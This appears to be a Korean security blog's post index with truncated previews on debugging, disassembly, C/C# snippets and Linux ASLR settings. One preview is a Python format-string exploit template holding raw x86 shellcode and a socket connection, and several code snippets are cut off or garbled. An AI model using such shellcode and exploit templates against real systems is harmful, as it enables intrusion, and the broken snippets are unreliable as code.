본문 바로가기

Research

[Writing] Linewar Sweep / Recursive Traversal Disassembling 보호되어 있는 글입니다. 더보기
CrtlsalidHeapPointer, pUserData 에러 주요내용 http://www.gpgstudy.com/forum/viewtopic.php?p=111861 구현상황function1(){BYTE* pByte=NULL;...function2(pByte);} function2(BYTE* pByte){DWORD test = strlen(pByte)pByte = new pByte(test) } 기억은 안나는데 이런 식이었다-_-인자를 타 함수로 넘겨서 Heap을 할당해주는 방식을 시도했는데.. 아 뭐 이제보니 말도안되는 코드이긴 한데...CRT Startup 을 넘어서는 버그라고 함. 더보기
olly/ida에서의 HW Bp 처리방식 차이 디버그 모드올리스레드가 서스펜드되어 있을 때 HW 브포를 걸거나 풀면올리 HWBP 에서는 보이지만 프로그램 내부에서는 계속 Debug Register 내용이 감지된다.GetThreadContext 로 받아오는 Debug Register 값은 0 아이다스레드가 서스펜드 되든 말든 상관없이 잘 감지된다.GetThreadContext 로 받아오는 Debug Register 값 -1 릴리즈 모드체크안됨 왜 하나는 -1이고 하나는 0인가 ?일반 실행에서는 0이다. 더보기
Format String Bug python frame fsb 익스플로잇 기본틀 aa #/usr/bin/python from socket import * from struct import * # 쉘코드 및 NopSled 지정 nopsled = "\x90" sc = "" #sc += nopsled*0x10 sc += "\x55\x89\xe5\x83\xec\x20\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x05\x6a\x79\x66\x68\x6b\x65\x89\xe3\xcd\x80\x89\xc3\xb0\x03\x8d\x4d\xe0\xb2\x21\xcd\x80\x89\xc2\xb0\x04\xb3\x04\xcd\x80\xc9\xc3" s = socket(AF_INET, SOCK_STREAM) s.connect(("localhost", 6665.. 더보기
[C#] array byte to hex string static string Hex2Str(array b){ char * c = new char(b.GetLength()*2+2);byte a;c[0]='0';c[1]='x'; for(int i=0, j=0; i>4));c[j] = (char)( a>9 ? a+0x37:a+0x30);a= ((byte) (b[i]&0x0f));c[++j] = (char) (a>9?a+0x37:a+0x30);} return c;} 더보기
Variadic 매크로 VA_ARGS 매크로. 가변인자 형태의 매크로 또는 함수 정의. // variadic_macros.cpp #include #define EMPTY #define CHECK1(x, ...) if (!(x)) { printf(__VA_ARGS__); } #define CHECK2(x, ...) if ((x)) { printf(__VA_ARGS__); } #define CHECK3(...) { printf(__VA_ARGS__); } #define MACRO(s, ...) printf(s, __VA_ARGS__) int main() { CHECK1(0, "here %s %s %s", "are", "some", "varargs1(1)\n"); CHECK1(1, "here %s %s %s", "are", "som.. 더보기
[작성중] IDA FLAIR 를 사용한 심볼 리커버리 더보기
보호기법 정리중 http://docs.oracle.com/cd/E37670_01/E36387/html/ol_kernel_sec.html ASLR /proc/sys/kernel/randomize_va_space0 : off1 : Stack, Virtual Dynamic Shared Object, Shared Mem (스택 라이브러리)2 : Stack, Virtual Dynamic Shared Object, Shared memory, Data segment. (스택 라이브러리 힙) /etc/sysctl.conf 에서kernel.randomize_va_space = VALUE와 같이 설정하고 sysctl -p 로 실행하면 영구적 적용. ASLR 을 프로그램에 맞추어 끄고 싶다면setarch 'uname -m'` -R prog.. 더보기